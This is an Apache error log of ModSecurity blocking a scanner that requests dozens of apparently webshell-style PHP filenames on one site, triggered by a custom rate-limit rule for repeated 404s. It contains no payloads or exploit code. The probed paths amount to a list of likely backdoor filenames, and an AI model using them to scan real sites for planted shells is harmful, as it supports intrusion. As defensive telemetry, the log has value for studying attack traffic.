[Fri Apr 17 07:56:00.989557 2026] [:error] [pid 25010:tid 25026] [client 172.213.155.173:54889] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/db.php"] [unique_id "aeF3EI-7kkf42RarqQ3wtAAAAU0"]
[Fri Apr 17 07:56:01.560334 2026] [:error] [pid 9153:tid 9241] [client 172.213.155.173:54876] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/db.php"] [unique_id "aeF3EeMHGxkTZX3c45dmcwAAAJc"]
[Fri Apr 17 07:56:02.532346 2026] [:error] [pid 25010:tid 25031] [client 172.213.155.173:50103] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/db.php"] [unique_id "aeF3Eo-7kkf42RarqQ3wtQAAAVI"]
[Fri Apr 17 07:56:03.296858 2026] [:error] [pid 9151:tid 9181] [client 172.213.155.173:4953] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/less.php"] [unique_id "aeF3E8hTVuRPkua22vTPYQAAABQ"]
[Fri Apr 17 07:56:03.946798 2026] [:error] [pid 9153:tid 9234] [client 172.213.155.173:20349] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/less.php"] [unique_id "aeF3E-MHGxkTZX3c45dmfAAAAJA"]
[Fri Apr 17 07:56:04.753953 2026] [:error] [pid 9153:tid 9239] [client 172.213.155.173:20306] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/less.php"] [unique_id "aeF3FOMHGxkTZX3c45dmfwAAAJU"]
[Fri Apr 17 07:56:05.383479 2026] [:error] [pid 34273:tid 34297] [client 172.213.155.173:20321] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/less.php"] [unique_id "aeF3FWuQDW686mK3dgEpOwAAAZY"]
[Fri Apr 17 07:56:06.215702 2026] [:error] [pid 9152:tid 9211] [client 172.213.155.173:20316] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "aeF3FpJYca8I3TNCwIdQ6QAAAFU"]
[Fri Apr 17 07:56:07.238272 2026] [:error] [pid 9153:tid 9218] [client 172.213.155.173:20297] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "aeF3F-MHGxkTZX3c45dmgwAAAIA"]
[Fri Apr 17 07:56:07.936565 2026] [:error] [pid 9153:tid 9241] [client 172.213.155.173:50093] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "aeF3F-MHGxkTZX3c45dmhwAAAJc"]
[Fri Apr 17 07:56:08.730725 2026] [:error] [pid 25010:tid 25035] [client 172.213.155.173:33493] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "aeF3GI-7kkf42RarqQ3wuwAAAVY"]
[Fri Apr 17 07:56:09.680311 2026] [:error] [pid 51878:tid 51888] [client 172.213.155.173:50102] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/maxro.php"] [unique_id "aeF3GUnQhUtMbw9EsgbTRwAAAQg"]
[Fri Apr 17 07:56:10.823679 2026] [:error] [pid 9153:tid 9235] [client 172.213.155.173:65251] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/maxro.php"] [unique_id "aeF3GuMHGxkTZX3c45dmjgAAAJE"]
[Fri Apr 17 07:56:12.317800 2026] [:error] [pid 34273:tid 34292] [client 172.213.155.173:58810] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/maxro.php"] [unique_id "aeF3HGuQDW686mK3dgEpPgAAAZE"]
[Fri Apr 17 07:56:13.218937 2026] [:error] [pid 34273:tid 34285] [client 172.213.155.173:20316] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/maxro.php"] [unique_id "aeF3HWuQDW686mK3dgEpQAAAAYo"]
[Fri Apr 17 07:56:14.116634 2026] [:error] [pid 34273:tid 34278] [client 172.213.155.173:20328] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aeF3HmuQDW686mK3dgEpRAAAAYM"]
[Fri Apr 17 07:56:14.869710 2026] [:error] [pid 25010:tid 25025] [client 172.213.155.173:50104] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aeF3Ho-7kkf42RarqQ3wxAAAAUw"]
[Fri Apr 17 07:56:18.172285 2026] [:error] [pid 25010:tid 25021] [client 172.213.155.173:54881] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aeF3Io-7kkf42RarqQ3wywAAAUg"]
[Fri Apr 17 07:56:19.148303 2026] [:error] [pid 9152:tid 9204] [client 172.213.155.173:40418] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aeF3I5JYca8I3TNCwIdQ8AAAAE4"]
[Fri Apr 17 07:56:20.782698 2026] [:error] [pid 9263:tid 9289] [client 172.213.155.173:49205] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeF3JBP68VyHNvj1e55IXwAAANg"]
[Fri Apr 17 07:56:22.091028 2026] [:error] [pid 51878:tid 51882] [client 172.213.155.173:33516] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeF3JknQhUtMbw9EsgbTTwAAAQI"]
[Fri Apr 17 07:56:23.010453 2026] [:error] [pid 34273:tid 34293] [client 172.213.155.173:54879] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeF3J2uQDW686mK3dgEpRwAAAZI"]
[Fri Apr 17 07:56:23.609683 2026] [:error] [pid 9153:tid 9231] [client 172.213.155.173:40428] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeF3J-MHGxkTZX3c45dmpwAAAI0"]
[Fri Apr 17 07:56:24.165918 2026] [:error] [pid 25010:tid 25013] [client 172.213.155.173:54904] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bdktk.php"] [unique_id "aeF3KI-7kkf42RarqQ3w0QAAAUA"]
[Fri Apr 17 07:56:24.907041 2026] [:error] [pid 51878:tid 51881] [client 172.213.155.173:4944] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bdktk.php"] [unique_id "aeF3KEnQhUtMbw9EsgbTUQAAAQE"]
[Fri Apr 17 07:56:25.455309 2026] [:error] [pid 51878:tid 51890] [client 172.213.155.173:4988] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bdktk.php"] [unique_id "aeF3KUnQhUtMbw9EsgbTVAAAAQo"]
[Fri Apr 17 07:56:26.050668 2026] [:error] [pid 51878:tid 51888] [client 172.213.155.173:54907] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bdktk.php"] [unique_id "aeF3KknQhUtMbw9EsgbTVwAAAQg"]
[Fri Apr 17 07:56:26.777425 2026] [:error] [pid 25010:tid 25034] [client 172.213.155.173:52856] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/v5.php"] [unique_id "aeF3Ko-7kkf42RarqQ3w1AAAAVU"]
[Fri Apr 17 07:56:27.476463 2026] [:error] [pid 25010:tid 25025] [client 172.213.155.173:40385] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/v5.php"] [unique_id "aeF3K4-7kkf42RarqQ3w1gAAAUw"]
[Fri Apr 17 07:56:29.101025 2026] [:error] [pid 51878:tid 51897] [client 172.213.155.173:50106] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/v5.php"] [unique_id "aeF3LUnQhUtMbw9EsgbTYwAAARE"]
[Fri Apr 17 07:56:29.780361 2026] [:error] [pid 9151:tid 9166] [client 172.213.155.173:54853] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/v5.php"] [unique_id "aeF3LchTVuRPkua22vTPewAAAAU"]
[Fri Apr 17 07:56:30.663991 2026] [:error] [pid 25010:tid 25031] [client 172.213.155.173:50080] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "aeF3Lo-7kkf42RarqQ3w3QAAAVI"]
[Fri Apr 17 07:56:31.429903 2026] [:error] [pid 9153:tid 9242] [client 172.213.155.173:50064] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "aeF3L-MHGxkTZX3c45dmrQAAAJg"]
[Fri Apr 17 07:56:32.711259 2026] [:error] [pid 9263:tid 9282] [client 172.213.155.173:40410] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "aeF3MBP68VyHNvj1e55IZAAAANE"]
[Fri Apr 17 07:56:33.741655 2026] [:error] [pid 9152:tid 9211] [client 172.213.155.173:20341] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "aeF3MZJYca8I3TNCwIdQ9QAAAFU"]
[Fri Apr 17 07:56:35.513122 2026] [:error] [pid 34273:tid 34277] [client 172.213.155.173:4941] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeF3M2uQDW686mK3dgEpWQAAAYI"]
[Fri Apr 17 07:56:39.087731 2026] [:error] [pid 34273:tid 34288] [client 172.213.155.173:33514] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeF3N2uQDW686mK3dgEpXwAAAY0"]
[Fri Apr 17 07:56:40.279601 2026] [:error] [pid 9152:tid 9192] [client 172.213.155.173:5024] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeF3OJJYca8I3TNCwIdRAQAAAEI"]
[Fri Apr 17 07:56:41.447827 2026] [:error] [pid 51878:tid 51901] [client 172.213.155.173:50075] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "aeF3OUnQhUtMbw9EsgbTeQAAARU"]
[Fri Apr 17 07:56:42.821661 2026] [:error] [pid 9152:tid 9196] [client 172.213.155.173:50083] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "aeF3OpJYca8I3TNCwIdRBgAAAEY"]
[Fri Apr 17 07:56:44.669546 2026] [:error] [pid 9152:tid 9213] [client 172.213.155.173:33482] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "aeF3PJJYca8I3TNCwIdRDAAAAFc"]
[Fri Apr 17 07:56:46.826477 2026] [:error] [pid 9263:tid 9288] [client 172.213.155.173:40434] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "aeF3PhP68VyHNvj1e55IbQAAANc"]
[Fri Apr 17 07:56:48.294897 2026] [:error] [pid 34273:tid 34298] [client 172.213.155.173:65238] File does not exist: /usr/local/apache/htdocs/suspended-page/layout.php
[Fri Apr 17 07:56:48.887388 2026] [:error] [pid 34273:tid 34287] [client 172.213.155.173:65238] File does not exist: /usr/local/apache/htdocs/suspended-page/r2.php
[Fri Apr 17 07:56:49.123143 2026] [:error] [pid 34273:tid 34294] [client 172.213.155.173:65238] File does not exist: /usr/local/apache/htdocs/suspended-page/ah25.php
[Fri Apr 17 07:56:49.359744 2026] [:error] [pid 34273:tid 34275] [client 172.213.155.173:65238] File does not exist: /usr/local/apache/htdocs/suspended-page/006.php
[Fri Apr 17 07:56:49.595555 2026] [:error] [pid 34273:tid 34290] [client 172.213.155.173:65238] File does not exist: /usr/local/apache/htdocs/suspended-page/samll.php
[Fri Apr 17 07:56:49.832778 2026] [:error] [pid 34273:tid 34288] [client 172.213.155.173:65238] File does not exist: /usr/local/apache/htdocs/suspended-page/zogy1.php
[Fri Apr 17 07:56:50.077769 2026] [:error] [pid 34273:tid 34299] [client 172.213.155.173:65238] File does not exist: /usr/local/apache/htdocs/suspended-page/aios-bootstrap.php
[Fri Apr 17 07:56:50.314055 2026] [:error] [pid 34273:tid 34289] [client 172.213.155.173:65238] File does not exist: /usr/local/apache/htdocs/suspended-page/rh.php
[Fri Apr 17 07:56:50.550099 2026] [:error] [pid 34273:tid 34281] [client 172.213.155.173:65238] File does not exist: /usr/local/apache/htdocs/suspended-page/gz.php
[Fri Apr 17 07:56:50.802504 2026] [:error] [pid 34273:tid 34280] [client 172.213.155.173:65238] File does not exist: /usr/local/apache/htdocs/suspended-page/gelio1.php
[Fri Apr 17 07:56:51.038377 2026] [:error] [pid 34273:tid 34297] [client 172.213.155.173:65238] File does not exist: /usr/local/apache/htdocs/suspended-page/areak1.php
[Fri Apr 17 07:56:51.271310 2026] [:error] [pid 34273:tid 34285] [client 172.213.155.173:65238] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/qqa.php"] [unique_id "aeF3Q2uQDW686mK3dgEpdAAAAYo"]
[Fri Apr 17 07:56:52.014367 2026] [:error] [pid 9153:tid 9235] [client 172.213.155.173:65226] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/qqa.php"] [unique_id "aeF3ROMHGxkTZX3c45dmwAAAAJE"]
[Fri Apr 17 07:56:52.698490 2026] [:error] [pid 25010:tid 25029] [client 172.213.155.173:50068] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/qqa.php"] [unique_id "aeF3RI-7kkf42RarqQ3w7AAAAVA"]
[Fri Apr 17 07:56:53.353640 2026] [:error] [pid 9151:tid 9169] [client 172.213.155.173:50082] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/qqa.php"] [unique_id "aeF3RchTVuRPkua22vTPiQAAAAg"]
[Fri Apr 17 07:56:54.149312 2026] [:error] [pid 51878:tid 51888] [client 172.213.155.173:58770] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeF3RknQhUtMbw9EsgbTgAAAAQg"]
[Fri Apr 17 07:56:54.967543 2026] [:error] [pid 51878:tid 51885] [client 172.213.155.173:33481] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeF3RknQhUtMbw9EsgbTgwAAAQU"]
[Fri Apr 17 07:56:56.213096 2026] [:error] [pid 9152:tid 9195] [client 172.213.155.173:58812] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeF3SJJYca8I3TNCwIdRFAAAAEU"]
[Fri Apr 17 07:56:56.965444 2026] [:error] [pid 9151:tid 9161] [client 172.213.155.173:40412] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeF3SMhTVuRPkua22vTPiwAAAAA"]
[Fri Apr 17 07:56:57.673221 2026] [:error] [pid 9151:tid 9180] [client 172.213.155.173:4942] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ga.php"] [unique_id "aeF3SchTVuRPkua22vTPjwAAABM"]
[Fri Apr 17 07:57:06.047676 2026] [:error] [pid 25010:tid 25016] [client 172.213.155.173:40437] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ga.php"] [unique_id "aeF3Uo-7kkf42RarqQ3xBAAAAUM"]
